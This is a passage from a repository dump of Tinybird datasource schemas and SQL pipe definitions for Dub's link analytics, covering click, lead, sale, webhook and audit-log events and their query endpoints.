    "content": "TOKEN \"dub_tinybird_token\" APPEND\n\n\nSCHEMA >\n    `timestamp` DateTime64(3) `json:$.timestamp` DEFAULT now(),\n    `event_id` String `json:$.event_id`,\n    `event_name` String `json:$.event_name`,\n    `customer_id` String `json:$.customer_id`,\n    `click_id` String `json:$.click_id`,\n    `link_id` String `json:$.link_id`,\n    `url` String `json:$.url`,\n    `continent` LowCardinality(String) `json:$.continent`,\n    `country` LowCardinality(String) `json:$.country`,\n    `city` String `json:$.city`,\n    `region` String `json:$.region`,\n    `latitude` String `json:$.latitude`,\n    `longitude` String `json:$.longitude`,\n    `device` LowCardinality(String) `json:$.device`,\n    `device_model` LowCardinality(String) `json:$.device_model`,\n    `device_vendor` LowCardinality(String) `json:$.device_vendor`,\n    `browser` LowCardinality(String) `json:$.browser`,\n    `browser_version` String `json:$.browser_version`,\n    `os` LowCardinality(String) `json:$.os`,\n    `os_version` String `json:$.os_version`,\n    `engine` LowCardinality(String) `json:$.engine`,\n    `engine_version` String `json:$.engine_version`,\n    `cpu_architecture` LowCardinality(String) `json:$.cpu_architecture`,\n    `ua` String `json:$.ua`,\n    `bot` UInt8 `json:$.bot`,\n    `referer` String `json:$.referer`,\n    `referer_url` String `json:$.referer_url`,\n    `ip` String `json:$.ip`,\n    `qr` UInt8 `json:$.qr`,\n    `metadata` String `json:$.metadata`,\n    `trigger` String `json:$.trigger`,\n    `domain` Nullable(String) `json:$.domain`,\n    `key` Nullable(String) `json:$.key`,\n    `workspace_id` Nullable(String) `json:$.workspace_id`\n\nENGINE \"MergeTree\"\nENGINE_PARTITION_KEY \"toYYYYMM(timestamp)\"\nENGINE_SORTING_KEY \"timestamp, link_id, customer_id\"\n"
  },
  {
    "path": "packages/tinybird/datasources/dub_lead_events_mv.datasource",
    "content": "# Data Source created from Pipe 'dub_lead_events_pipe'\n\nSCHEMA >\n    `timestamp` DateTime64(3),\n    `click_id` String,\n    `workspace_id` LowCardinality(String),\n    `link_id` String,\n    `domain` String,\n    `key` String,\n    `url` String,\n    `event_id` String,\n    `event_name` String,\n    `customer_id` String,\n    `metadata` String,\n    `continent` LowCardinality(String),\n    `country` LowCardinality(String),\n    `city` LowCardinality(String),\n    `region` LowCardinality(String),\n    `latitude` String,\n    `longitude` String,\n    `device` LowCardinality(String),\n    `browser` LowCardinality(String),\n    `os` LowCardinality(String),\n    `trigger` String,\n    `ua` String,\n    `referer` String,\n    `referer_url` String,\n    `ip` String,\n    `device_model` LowCardinality(String),\n    `device_vendor` LowCardinality(String),\n    `browser_version` String,\n    `os_version` String,\n    `engine` LowCardinality(String),\n    `engine_version` String,\n    `cpu_architecture` LowCardinality(String),\n    `qr` UInt8,\n    `bot` UInt8\n\nENGINE \"MergeTree\"\nENGINE_PARTITION_KEY \"toYYYYMM(timestamp)\"\nENGINE_SORTING_KEY \"workspace_id, link_id, timestamp\"\n"
  },
  {
    "path": "packages/tinybird/datasources/dub_links_metadata.datasource",
    "content": "TOKEN \"dub_tinybird_token\" APPEND\n\n\nSCHEMA >\n    `timestamp` DateTime `json:$.timestamp` DEFAULT now(),\n    `link_id` String `json:$.link_id`,\n    `domain` String `json:$.domain`,\n    `key` String `json:$.key`,\n    `url` String `json:$.url`,\n    `tag_ids` Array(String) `json:$.tag_ids[:]`,\n    `workspace_id` String `json:$.workspace_id`,\n    `created_at` DateTime64(3) `json:$.created_at`,\n    `deleted` UInt8 `json:$.deleted`,\n    `program_id` String `json:$.program_id`,\n    `tenant_id` String `json:$.tenant_id`,\n    `partner_id` String `json:$.partner_id`,\n    `folder_id` String `json:$.folder_id`,\n    `partner_group_id` String `json:$.partner_group_id`\n\nENGINE \"MergeTree\"\nENGINE_PARTITION_KEY \"toYear(timestamp)\"\nENGINE_SORTING_KEY \"timestamp, link_id, workspace_id\"\n"
  },
  {
    "path": "packages/tinybird/datasources/dub_links_metadata_latest.datasource",
    "content": "# Data Source created from Pipe 'dub_links_metadata_pipe'\n\nSCHEMA >\n    `timestamp` DateTime,\n    `workspace_id` LowCardinality(String),\n    `link_id` String,\n    `domain` String,\n    `key` String,\n    `url` String,\n    `program_id` LowCardinality(String),\n    `partner_id` String,\n    `partner_group_id` String,\n    `folder_id` String,\n    `tag_ids` Array(String),\n    `tenant_id` String,\n    `created_at` DateTime64(3),\n    `deleted` UInt8\n\nENGINE \"ReplacingMergeTree\"\nENGINE_SORTING_KEY \"workspace_id, link_id\"\nENGINE_VER \"timestamp\"\nENGINE_IS_DELETED \"deleted\"\n"
  },
  {
    "path": "packages/tinybird/datasources/dub_postback_events.datasource",
    "content": "TOKEN \"dub_tinybird_token\" APPEND\n\n\nSCHEMA >\n    `timestamp` DateTime64(3) `json:$.timestamp` DEFAULT now(),\n    `event_id` String `json:$.event_id`,\n    `postback_id` String `json:$.postback_id`,\n    `url` String `json:$.url`,\n    `event` LowCardinality(String) `json:$.event`,\n    `response_status` UInt16 `json:$.response_status`,\n    `request_body` String `json:$.request_body`,\n    `response_body` String `json:$.response_body`,\n    `message_id` String `json:$.message_id`,\n    `retry_attempt` UInt8 `json:$.retry_attempt`\n\nENGINE \"MergeTree\"\nENGINE_PARTITION_KEY \"toYYYYMM(timestamp)\"\nENGINE_SORTING_KEY \"postback_id, event_id, timestamp\"\n"
  },
  {
    "path": "packages/tinybird/datasources/dub_sale_events.datasource",
    "content": "TOKEN \"dub_tinybird_token\" APPEND\n\n\nSCHEMA >\n    `timestamp` DateTime64(3) `json:$.timestamp` DEFAULT now(),\n    `event_id` String `json:$.event_id`,\n    `event_name` String `json:$.event_name`,\n    `customer_id` String `json:$.customer_id`,\n    `payment_processor` LowCardinality(String) `json:$.payment_processor`,\n    `invoice_id` String `json:$.invoice_id`,\n    `amount` UInt32 `json:$.amount`,\n    `currency` LowCardinality(String) `json:$.currency`,\n    `click_id` String `json:$.click_id`,\n    `link_id` String `json:$.link_id`,\n    `url` String `json:$.url`,\n    `continent` LowCardinality(String) `json:$.continent`,\n    `country` LowCardinality(String) `json:$.country`,\n    `city` String `json:$.city`,\n    `region` String `json:$.region`,\n    `latitude` String `json:$.latitude`,\n    `longitude` String `json:$.longitude`,\n    `device` LowCardinality(String) `json:$.device`,\n    `device_model` LowCardinality(String) `json:$.device_model`,\n    `device_vendor` LowCardinality(String) `json:$.device_vendor`,\n    `browser` LowCardinality(String) `json:$.browser`,\n    `browser_version` String `json:$.browser_version`,\n    `os` LowCardinality(String) `json:$.os`,\n    `os_version` String `json:$.os_version`,\n    `engine` LowCardinality(String) `json:$.engine`,\n    `engine_version` String `json:$.engine_version`,\n    `cpu_architecture` LowCardinality(String) `json:$.cpu_architecture`,\n    `ua` String `json:$.ua`,\n    `bot` UInt8 `json:$.bot`,\n    `referer` String `json:$.referer`,\n    `referer_url` String `json:$.referer_url`,\n    `ip` String `json:$.ip`,\n    `qr` UInt8 `json:$.qr`,\n    `metadata` String `json:$.metadata`,\n    `trigger` String `json:$.trigger`,\n    `domain` Nullable(String) `json:$.domain`,\n    `key` Nullable(String) `json:$.key`,\n    `workspace_id` Nullable(String) `json:$.workspace_id`\n\nENGINE \"MergeTree\"\nENGINE_PARTITION_KEY \"toYYYYMM(timestamp)\"\nENGINE_SORTING_KEY \"timestamp, link_id\"\n"
  },
  {
    "path": "packages/tinybird/datasources/dub_sale_events_mv.datasource",
    "content": "# Data Source created from Pipe 'dub_sale_events_pipe'\n\nSCHEMA >\n    `timestamp` DateTime64(3),\n    `click_id` String,\n    `workspace_id` LowCardinality(String),\n    `link_id` String,\n    `domain` String,\n    `key` String,\n    `url` String,\n    `event_id` String,\n    `event_name` String,\n    `customer_id` String,\n    `payment_processor` LowCardinality(String),\n    `invoice_id` String,\n    `amount` UInt32,\n    `metadata` String,\n    `continent` LowCardinality(String),\n    `country` LowCardinality(String),\n    `city` LowCardinality(String),\n    `region` LowCardinality(String),\n    `latitude` String,\n    `longitude` String,\n    `device` LowCardinality(String),\n    `browser` LowCardinality(String),\n    `os` LowCardinality(String),\n    `trigger` String,\n    `ua` String,\n    `referer` String,\n    `referer_url` String,\n    `ip` String,\n    `device_model` LowCardinality(String),\n    `device_vendor` LowCardinality(String),\n    `browser_version` String,\n    `os_version` String,\n    `engine` LowCardinality(String),\n    `engine_version` String,\n    `cpu_architecture` LowCardinality(String),\n    `qr` UInt8,\n    `bot` UInt8\n\nENGINE \"MergeTree\"\nENGINE_PARTITION_KEY \"toYYYYMM(timestamp)\"\nENGINE_SORTING_KEY \"workspace_id, link_id, timestamp\"\n"
  },
  {
    "path": "packages/tinybird/datasources/dub_webhook_events.datasource",
    "content": "TOKEN \"dub_tinybird_token\" APPEND\n\n\nSCHEMA >\n    `timestamp` DateTime64(3) `json:$.timestamp` DEFAULT now(),\n    `event_id` String `json:$.event_id`,\n    `webhook_id` String `json:$.webhook_id`,\n    `url` String `json:$.url`,\n    `event` LowCardinality(String) `json:$.event`,\n    `http_status` UInt16 `json:$.http_status`,\n    `request_body` String `json:$.request_body`,\n    `response_body` String `json:$.response_body`,\n    `message_id` String `json:$.message_id`\n\nENGINE \"MergeTree\"\nENGINE_PARTITION_KEY \"toYYYYMM(timestamp)\"\nENGINE_SORTING_KEY \"timestamp, webhook_id, event_id\"\n"
  },
  {
    "path": "packages/tinybird/pipes/all_stats.pipe",
    "content": "TAGS \"Dub Misc Endpoints\"\n\nNODE endpoint\nSQL >\n\n    SELECT \n        (SELECT COUNT(timestamp) FROM dub_click_events_mv) AS clicks,\n        (SELECT COUNT(timestamp) + 42036155 FROM dub_links_metadata) AS links,\n        (SELECT SUM(amount) FROM dub_sale_events_mv) AS sales\n\n\n"
  },
  {
    "path": "packages/tinybird/pipes/coordinates_all.pipe",
    "content": "TAGS \"Dub Misc Endpoints\"\n\nNODE coordinates_clicks_data\nSQL >\n\n    %\n        SELECT\n          'click' AS event,\n          timestamp,\n          country,\n          city,\n          latitude,\n          longitude,\n          device\n        FROM dub_click_events_mv\n        WHERE \n          timestamp > now() - INTERVAL 5 MINUTE\n          AND country != 'Unknown' AND city != 'Unknown' AND city != 'Ashburn'\n        ORDER BY timestamp DESC\n        LIMIT 100\n\n\n\nNODE coordinates_leads_data\nSQL >\n\n    %\n        SELECT\n            'lead' AS event,\n            timestamp,\n            country,\n            city,\n            latitude,\n            longitude,\n            device\n        FROM dub_lead_events_mv\n        WHERE\n            timestamp > now() - INTERVAL 12 HOUR\n            AND country != 'Unknown'\n            AND city != 'Unknown'\n            AND city != 'Ashburn'\n        ORDER BY timestamp DESC\n        LIMIT 100\n\n\n\nNODE coordinates_sales_data\nSQL >\n\n    %\n        SELECT\n            'sale' AS event,\n            timestamp,\n            country,\n            city,\n            latitude,\n            longitude,\n            device,\n            amount,\n            round(\n                amount * arrayElement([0.3, 0.4, 0.5], 1 + (toUnixTimestamp(timestamp) % 3))\n            ) as commission\n        FROM dub_sale_events_mv\n        WHERE\n            timestamp > now() - INTERVAL 12 HOUR\n            AND country != 'Unknown'\n            AND city != 'Unknown'\n            AND city != 'Ashburn'\n        ORDER BY timestamp DESC\n        LIMIT 100\n\n\n\nNODE endpoint\nSQL >\n\n    %\n        SELECT *\n        FROM\n            (\n                SELECT *, NULL AS amount, NULL AS commission\n                FROM coordinates_leads_data\n                UNION ALL\n                SELECT\n                    *,\n                    NULL AS amount,\n                    NULL AS commission\n                FROM coordinates_clicks_data\n                UNION ALL\n                SELECT *\n                FROM coordinates_sales_data\n            )\n        ORDER BY\n            timestamp DESC\n\n\n"
  },
  {
    "path": "packages/tinybird/pipes/coordinates_sales.pipe",
    "content": "TAGS \"Dub Misc Endpoints\"\n\nNODE endpoint\nSQL >\n\n    %\n        SELECT\n            timestamp,\n            amount,\n            round(\n                amount * arrayElement([0.3, 0.4, 0.5], 1 + (toUnixTimestamp(timestamp) % 3))\n            ) as commission,\n            country,\n            city,\n            latitude,\n            longitude\n        FROM dub_sale_events_mv\n        WHERE\n            timestamp > now() - INTERVAL 12 HOUR\n            AND country != 'Unknown'\n            AND city != 'Unknown'\n            AND city != 'Ashburn'\n        ORDER BY timestamp DESC\n        LIMIT 500\n\n\n"
  },
  {
    "path": "packages/tinybird/pipes/dub_click_events_id_pipe.pipe",
    "content": "TAGS \"Dub MV Pipes\"\n\nNODE mv\nSQL >\n\n    SELECT * FROM dub_click_events_mv\n\nTYPE materialized\nDATASOURCE dub_click_events_id\n\n\n"
  },
  {
    "path": "packages/tinybird/pipes/dub_click_events_pipe.pipe",
    "content": "TAGS \"Dub MV Pipes\"\n\nNODE mv\nSQL >\n\n    SELECT\n        timestamp,\n        click_id,\n        toLowCardinality(\n            coalesce(click_event.workspace_id, link_metadata.workspace_id)\n        ) AS workspace_id,\n        link_id,\n        coalesce(click_event.domain, link_metadata.domain) AS domain,\n        coalesce(click_event.key, link_metadata.key) AS key,\n        url,\n        -- geolocation fields\n        toLowCardinality(continent) continent,\n        toLowCardinality(country) country,\n        toLowCardinality(city) city,\n        toLowCardinality(region) region,\n        latitude,\n        longitude,\n        -- additional fields\n        device,\n        browser,\n        os,\n        CASE\n            WHEN trigger = '' THEN CASE WHEN qr = true THEN 'qr' ELSE 'link' END ELSE trigger\n        END as trigger,\n        ua,\n        referer,\n        referer_url,\n        ip,\n        coalesce(identity_hash, '') as identity_hash,\n        -- other fields from raw DS\n        device_model,\n        device_vendor,\n        browser_version,\n        os_version,\n        engine,\n        engine_version,\n        cpu_architecture,\n        qr,\n        bot\n    FROM dub_click_events AS click_event ANY\n    LEFT JOIN\n        (\n            SELECT link_id, workspace_id, domain, key\n            FROM dub_links_metadata_latest\n            WHERE link_id IN (SELECT link_id FROM dub_click_events)\n        ) AS link_metadata USING link_id\n\nTYPE materialized\nDATASOURCE dub_click_events_mv\n\n\n"
  },
  {
    "path": "packages/tinybird/pipes/dub_first_sale_pipe.pipe",
    "content": "NODE mv\nSQL >\n\n    SELECT\n        workspace_id,\n        link_id,\n        customer_id,\n        minState(timestamp) AS first_sale_state\n    FROM dub_sale_events_mv\n    GROUP BY\n        workspace_id,\n        link_id,\n        customer_id\n\nTYPE materialized\nDATASOURCE dub_first_sale_mv\n\n\n"
  },
  {
    "path": "packages/tinybird/pipes/dub_lead_events_pipe.pipe",
    "content": "TAGS \"Dub MV Pipes\"\n\nNODE mv\nSQL >\n\n    SELECT\n        timestamp,\n        click_id,\n        toLowCardinality(\n            coalesce(nullIf(lead_event.workspace_id, ''), link_metadata.workspace_id)\n        ) AS workspace_id,\n        link_id,\n        coalesce(nullIf(lead_event.domain, ''), link_metadata.domain) AS domain,\n        coalesce(nullIf(lead_event.key, ''), link_metadata.key) AS key,\n        url,\n        event_id,\n        event_name,\n        customer_id,\n        metadata,\n        -- geolocation fields\n        toLowCardinality(continent) continent,\n        toLowCardinality(country) country,\n        toLowCardinality(city) city,\n        toLowCardinality(region) region,\n        latitude,\n        longitude,\n        -- additional fields\n        device,\n        browser,\n        os,\n        CASE\n            WHEN trigger = '' THEN CASE WHEN qr = true THEN 'qr' ELSE 'link' END ELSE trigger\n        END AS trigger,\n        ua,\n        referer,\n        referer_url,\n        ip,\n        -- other fields from raw DS\n        device_model,\n        device_vendor,\n        browser_version,\n        os_version,\n        engine,\n        engine_version,\n        cpu_architecture,\n        qr,\n        bot\n    FROM dub_lead_events AS lead_event ANY\n    LEFT JOIN\n        (\n            SELECT link_id, workspace_id, domain, key\n            FROM dub_links_metadata_latest FINAL\n            WHERE link_id IN (SELECT link_id FROM dub_lead_events)\n        ) AS link_metadata USING link_id\n\nTYPE materialized\nDATASOURCE dub_lead_events_mv\n\n\n"
  },
  {
    "path": "packages/tinybird/pipes/dub_links_metadata_pipe.pipe",
    "content": "TAGS \"Dub MV Pipes\"\n\nNODE mv\nSQL >\n\n    SELECT\n        timestamp,\n        toLowCardinality(\n            CASE\n                WHEN startsWith(workspace_id, 'ws_c')\n                THEN replace(workspace_id, 'ws_', '')\n                ELSE workspace_id\n            END\n        ) AS workspace_id,\n       link_id,\n       domain,\n       key,\n       url,\n       toLowCardinality(program_id) program_id,\n       partner_id,\n       partner_group_id,\n       folder_id,\n       tag_ids,\n       tenant_id,\n       created_at,\n       deleted\n    FROM dub_links_metadata\n\nTYPE materialized\nDATASOURCE dub_links_metadata_latest\n\n\n"
  },
  {
    "path": "packages/tinybird/pipes/dub_sale_events_pipe.pipe",
    "content": "TAGS \"Dub MV Pipes\"\n\nNODE mv\nSQL >\n\n    SELECT\n        se.timestamp,\n        se.click_id,\n        toLowCardinality(coalesce(nullIf(se.workspace_id, ''), lm.workspace_id)) AS workspace_id,\n        se.link_id as link_id,\n        coalesce(nullIf(se.domain, ''), lm.domain) AS domain,\n        coalesce(nullIf(se.key, ''), lm.key) AS key,\n        se.url,\n        -- sale event fields\n        se.event_id,\n        se.event_name,\n        se.customer_id as customer_id,\n        se.payment_processor,\n        se.invoice_id,\n        se.amount,\n        se.metadata,\n        -- geolocation fields\n        toLowCardinality(se.continent) AS continent,\n        toLowCardinality(se.country) AS country,\n        toLowCardinality(se.city) AS city,\n        toLowCardinality(se.region) AS region,\n        se.latitude,\n        se.longitude,\n        -- additional fields\n        se.device,\n        se.browser,\n        se.os,\n        CASE\n            WHEN se.trigger = '' THEN CASE WHEN se.qr = true THEN 'qr' ELSE 'link' END ELSE se.trigger\n        END AS trigger,\n        se.ua,\n        se.referer,\n        se.referer_url,\n        se.ip,\n        -- other fields from raw DS\n        se.device_model,\n        se.device_vendor,\n        se.browser_version,\n        se.os_version,\n        se.engine,\n        se.engine_version,\n        se.cpu_architecture,\n        se.qr,\n        se.bot\n    FROM dub_sale_events AS se\n    -- join link metadata for workspace/domain/key enrichment\n    LEFT JOIN\n        (\n            SELECT link_id, workspace_id, domain, key\n            FROM dub_links_metadata_latest FINAL\n            WHERE link_id IN (SELECT link_id FROM dub_sale_events)\n        ) AS lm USING (link_id)\n\nTYPE materialized\nDATASOURCE dub_sale_events_mv\n\n\n"
  },
  {
    "path": "packages/tinybird/pipes/get_audit_logs.pipe",
    "content": "NODE endpoint\nSQL >\n\n    %\n            SELECT\n                id,\n                timestamp,\n                action,\n                actor_id,\n                actor_type,\n                actor_name,\n                targets,\n                description,\n                ip_address,\n                user_agent,\n                metadata\n            FROM dub_audit_logs\n            WHERE\n                true\n                {% if defined(start) and defined(end) %}\n                    AND timestamp >= {{ DateTime(start, '2024-06-01 00:00:00') }}\n                    AND timestamp < {{ DateTime(end, '2024-06-07 00:00:00') }}\n                {% end %}\n                {% if defined(workspaceId) %} AND workspace_id = {{ String(workspaceId) }} {% end %}\n                {% if defined(programId) %} AND program_id = {{ String(programId) }} {% end %}\n            ORDER BY timestamp DESC\n\n\n"
  },
  {
    "path": "packages/tinybird/pipes/get_click_event.pipe",
    "content": "NODE endpoint\nSQL >\n\n    %\n        SELECT *\n        FROM dub_click_events_id\n        WHERE\n            click_id\n            = {{\n                String(\n                    clickId,\n                    'Z4f1TFvkejrp9o0L',\n                    description=\"The unique ID for a given click event\",\n                    required=True,\n                )\n            }}\n        ORDER BY timestamp DESC\n        LIMIT 1\n\n\n"
  },
  {
    "path": "packages/tinybird/pipes/get_framer_lead_events.pipe",
    "content": "NODE endpoint\nSQL >\n\n    %\n        SELECT *\n        FROM dub_lead_events_mv\n        WHERE \n          link_id IN {{ Array(linkIds, 'String', ['link_1JWRSXGRTN95H1YCKTC5BM41B','link_1JWQHXN0Y1QBR7X07YQ6MHWTZ']) }}\n          AND customer_id IN {{ Array(customerIds, 'String', ['cus_1JWTHSGTT67WY9NK98QSFJ3M4','cus_1JWTQS8S008Q3VTB8ZRG7AE3W']) }}\n\n\n"
  },
  {
    "path": "packages/tinybird/pipes/get_import_error_logs.pipe",
    "content": "DESCRIPTION >\n\tGet import logs by ID\n\n\nNODE endpoint\nSQL >\n\n    %\n            SELECT *\n            FROM dub_import_error_logs\n            WHERE\n                workspace_id\n                = {{\n                    String(\n                        workspaceId,\n                        'wh_fjs8YfXkgsFL7eF7LOBvbluDb',\n                        required=True,\n                    )\n                }}\n                AND import_id\n                = {{\n                    String(\n                        importId,\n                        'uC2DOqy',\n                        required=True,\n                    )\n                }}\n            ORDER BY timestamp DESC\n            limit 5000\n\n\n"
  },
  {
    "path": "packages/tinybird/pipes/get_lead_event.pipe",
    "content": "DESCRIPTION >\n\tinternal pipe for updating lead event\n\n\nNODE endpoint\nSQL >\n\n    %\n    SELECT *\n    FROM dub_lead_events_mv\n    WHERE\n        customer_id\n        = {{\n            String(\n                customerId,\n                \"cus_JzMqCLdaiVM1o1grw0yk84uC\",\n                description=\"The unique ID for a given customer.\",\n                required=True,\n            )\n        }}\n        {% if defined(eventName) %} AND event_name = {{ eventName }} {% end %}\n    ORDER BY timestamp DESC\n\n\n"
  },
  {
    "path": "packages/tinybird/pipes/get_lead_events.pipe",
    "content": "NODE endpoint\nSQL >\n\n    %\n        SELECT *\n        FROM dub_lead_events_mv\n        WHERE\n            true\n            {% if defined(customerIds) %} AND customer_id IN {{ Array(customerIds, 'String') }} {% end %}\n        ORDER BY timestamp DESC\n\n\n"
  },
  {
    "path": "packages/tinybird/pipes/get_postback_events.pipe",
    "content": "DESCRIPTION >\n\tGet partner postback events\n\n\nNODE endpoint\nSQL >\n\n    %\n            SELECT *\n            FROM dub_postback_events\n            WHERE\n                postback_id\n                = {{\n                    String(\n                        postbackId,\n                        'pb_fjs8YfXkgsFL7eF7LOBvbluDb',\n                        description=\"The ID of the postback\",\n                        required=True,\n                    )\n                }}\n                ORDER BY timestamp DESC\n                limit 100\n\n\n"
  },
  {
    "path": "packages/tinybird/pipes/get_webhook_events.pipe",
    "content": "DESCRIPTION >\n\tGet webhook events\n\n\nNODE endpoint\nSQL >\n\n    %\n            SELECT *\n            FROM dub_webhook_events\n            WHERE\n                webhook_id\n                = {{\n                    String(\n                        webhookId,\n                        'wh_fjs8YfXkgsFL7eF7LOBvbluDb',\n                        description=\"The ID of the webhook\",\n                        required=True,\n                    )\n                }}\n                ORDER BY timestamp DESC\n                limit 100\n\n\n"
  },
  {
    "path": "packages/tinybird/pipes/v2_customer_events.pipe",
    "content": "DESCRIPTION >\n\tCustomer events\n\n\nTAGS \"Dub Endpoints\"\n\nNODE lead_events\nSQL >\n\n    %\n        SELECT\n            timestamp,\n            click_id,\n            link_id,\n            url,\n            continent,\n            country,\n            city,\n            region,\n            latitude,\n            longitude,\n            device,\n            browser,\n            os,\n            engine,\n            ua,\n            referer,\n            referer_url,\n            qr,\n            ip,\n            CONCAT(country, '-', region) as region_processed,\n            splitByString('?', referer_url)[1] as referer_url_processed,\n            'lead' as event,\n            event_id,\n            event_name,\n            metadata\n        FROM dub_lead_events_mv\n        WHERE\n            customer_id\n            = {{\n                String(\n                    customerId,\n                    'cus_1JRJNSVARH220RCNJ2K5SAX9Q',\n                    description=\"The unique ID for a given customer\",\n                    required=True,\n                )\n            }}\n            {% if defined(linkIds) %} AND link_id IN ({{ Array(linkIds, 'link_id') }}) {% end %}\n        ORDER BY timestamp {% if order == 'asc' %} ASC {% else %} DESC {% end %}\n        LIMIT {{ Int32(limit, 100) }}\n\n\n\nNODE click_events\nSQL >\n\n    %\n        SELECT\n            timestamp,\n            click_id,\n            link_id,\n            url,\n            continent,\n            country,\n            city,\n            region,\n            latitude,\n            longitude,\n            device,\n            browser,\n            os,\n            engine,\n            ua,\n            referer,\n            referer_url,\n            qr,\n            ip,\n            CONCAT(country, '-', region) as region_processed,\n            splitByString('?', referer_url)[1] as referer_url_processed,\n            'click' as event\n        FROM dub_click_events_id\n        WHERE\n            click_id IN (SELECT DISTINCT click_id FROM lead_events)\n            {% if defined(linkIds) %} AND link_id IN ({{ Array(linkIds, 'link_id') }}) {% end %}\n        LIMIT {{ Int32(limit, 100) }}\n\n\n\nNODE sale_events\nSQL >\n\n    %\n        SELECT\n            timestamp,\n            click_id,\n            link_id,\n            url,\n            continent,\n            country,\n            city,\n            region,\n            latitude,\n            longitude,\n            device,\n            browser,\n            os,\n            engine,\n            ua,\n            referer,\n            referer_url,\n            qr,\n            ip,\n            CONCAT(country, '-', region) as region_processed,\n            splitByString('?', referer_url)[1] as referer_url_processed,\n            'sale' as event,\n            event_id,\n            event_name,\n            metadata,\n            amount as saleAmount,\n            invoice_id,\n            payment_processor\n        FROM dub_sale_events_mv\n        WHERE\n            customer_id\n            = {{\n                String(\n                    customerId,\n                    'cus_1JRJNSVARH220RCNJ2K5SAX9Q',\n                    description=\"The unique ID for a given customer\",\n                    required=True,\n                )\n            }}\n            {% if defined(linkIds) %} AND link_id IN ({{ Array(linkIds, 'link_id') }}) {% end %}\n        LIMIT {{ Int32(limit, 100) }}\n\n\n\nNODE endpoint\nSQL >\n\n    %\n        SELECT *\n        FROM\n            (\n                SELECT *, NULL AS saleAmount, NULL AS invoice_id, NULL AS payment_processor\n                FROM lead_events\n                UNION ALL\n                SELECT\n                    *,\n                    NULL AS event_id,\n                    NULL AS event_name,\n                    NULL AS metadata,\n                    NULL AS saleAmount,\n                    NULL AS invoice_id,\n                    NULL AS payment_processor\n                FROM click_events\n                UNION ALL\n                SELECT *\n                FROM sale_events\n            )\n        ORDER BY\n            timestamp DESC, CASE event WHEN 'click' THEN 1 WHEN 'lead' THEN 2 WHEN 'sale' THEN 3 END DESC\n\n\n"
  },
  {
    "path": "packages/tinybird/pipes/v2_top_programs.pipe",
    "content": "DESCRIPTION >\n\tInternal pipe for getting top programs on Dub\n\n\nNODE program_links\nSQL >\n\n    %\n        SELECT link_id, program_id\n        FROM dub_links_metadata_latest FINAL\n        WHERE deleted == 0 AND program_id != ''\n\n\n\nNODE top_programs_clicks\nSQL >\n\n    %\n            SELECT pl.program_id as programId, COUNT(*) AS clicks\n            FROM dub_click_events_mv AS ce\n            JOIN program_links AS pl ON ce.link_id = pl.link_id\n            WHERE 1\n                {% if defined(continent) %} AND ce.continent = {{ continent }} {% end %}\n                {% if defined(country) %} AND ce.country = {{ country }} {% end %}\n                {% if defined(region) %} AND ce.region = {{ region }} {% end %}\n                {% if defined(city) %} AND ce.city = {{ city }} {% end %}\n                {% if defined(device) %} AND ce.device = {{ device }} {% end %}\n                {% if defined(browser) %} AND ce.browser = {{ browser }} {% end %}\n                {% if defined(trigger) %} AND trigger = {{ trigger }} {% end %}\n                {% if defined(os) %} AND ce.os = {{ os }} {% end %}\n                {% if defined(referer) %} AND ce.referer = {{ referer }} {% end %}\n                {% if defined(refererUrl) %}\n                    AND splitByString('?', ce.referer_url)[1] = {{ refererUrl }}\n                {% end %}\n                {% if defined(utm_source) %}\n                    AND ce.url LIKE concat('%utm_source=', encodeURLFormComponent({{ String(utm_source) }}), '%')\n                {% end %}\n                {% if defined(utm_medium) %}\n                    AND ce.url LIKE concat('%utm_medium=', encodeURLFormComponent({{ String(utm_medium) }}), '%')\n                {% end %}\n                {% if defined(utm_campaign) %}\n                    AND ce.url LIKE concat('%utm_campaign=', encodeURLFormComponent({{ String(utm_campaign) }}), '%')\n                {% end %}\n                {% if defined(utm_term) %}\n                    AND ce.url LIKE concat('%utm_term=', encodeURLFormComponent({{ String(utm_term) }}), '%')\n                {% end %}\n                {% if defined(utm_content) %}\n                    AND ce.url LIKE concat('%utm_content=', encodeURLFormComponent({{ String(utm_content) }}), '%')\n                {% end %}\n                {% if defined(url) %} AND ce.url = {{ url }} {% end %}\n                {% if defined(start) %} AND ce.timestamp >= {{ DateTime64(start) }} {% end %}\n                {% if defined(end) %} AND ce.timestamp <= {{ DateTime64(end) }} {% end %}\n            GROUP BY pl.program_id\n            ORDER BY clicks DESC\n            LIMIT 5000\n\n\n\nNODE top_programs_leads\nSQL >\n\n    %\n            SELECT pl.program_id as programId, COUNT(*) AS leads\n            FROM dub_lead_events AS le\n            JOIN program_links AS pl ON le.link_id = pl.link_id\n            WHERE\n                1\n                {% if defined(continent) %} AND le.continent = {{ continent }} {% end %}\n                {% if defined(country) %} AND le.country = {{ country }} {% end %}\n                {% if defined(region) %} AND le.region = {{ region }} {% end %}\n                {% if defined(city) %} AND le.city = {{ city }} {% end %}\n                {% if defined(device) %} AND le.device = {{ device }} {% end %}\n                {% if defined(browser) %} AND le.browser = {{ browser }} {% end %}\n                {% if defined(os) %} AND le.os = {{ os }} {% end %}\n                {% if defined(referer) %} AND le.referer = {{ referer }} {% end %}\n                {% if defined(refererUrl) %}\n                    AND splitByString('?', le.referer_url)[1] = {{ refererUrl }}\n                {% end %}\n                {% if defined(utm_source) %}\n                    AND le.url\n                    LIKE concat('%utm_source=', encodeURLFormComponent({{ String(utm_source) }}), '%')\n                {% end %}\n                {% if defined(utm_medium) %}\n                    AND le.url\n                    LIKE concat('%utm_medium=', encodeURLFormComponent({{ String(utm_medium) }}), '%')\n                {% end %}\n                {% if defined(utm_campaign) %}\n                    AND le.url\n                    LIKE concat('%utm_campaign=', encodeURLFormComponent({{ String(utm_campaign) }}), '%')\n                {% end %}\n                {% if defined(utm_term) %}\n                    AND le.url LIKE concat('%utm_term=', encodeURLFormComponent({{ String(utm_term) }}), '%')\n                {% end %}\n                {% if defined(utm_content) %}\n                    AND le.url\n                    LIKE concat('%utm_content=', encodeURLFormComponent({{ String(utm_content) }}), '%')\n                {% end %}\n                {% if defined(url) %} AND le.url = {{ url }} {% end %}\n                {% if defined(start) %} AND le.timestamp >= {{ DateTime64(start) }} {% end %}\n                {% if defined(end) %} AND le.timestamp <= {{ DateTime64(end) }} {% end %}\n            GROUP BY pl.program_id\n            ORDER BY leads DESC\n            LIMIT 5000\n\n\n\nNODE top_programs_sales\nSQL >\n\n    %\n            SELECT pl.program_id as programId, COUNT(*) AS sales, sum(amount) as saleAmount\n            FROM dub_sale_events_mv AS se\n            JOIN program_links AS pl ON se.link_id = pl.link_id\n            WHERE\n                1\n                {% if defined(continent) %} AND se.continent = {{ continent }} {% end %}\n                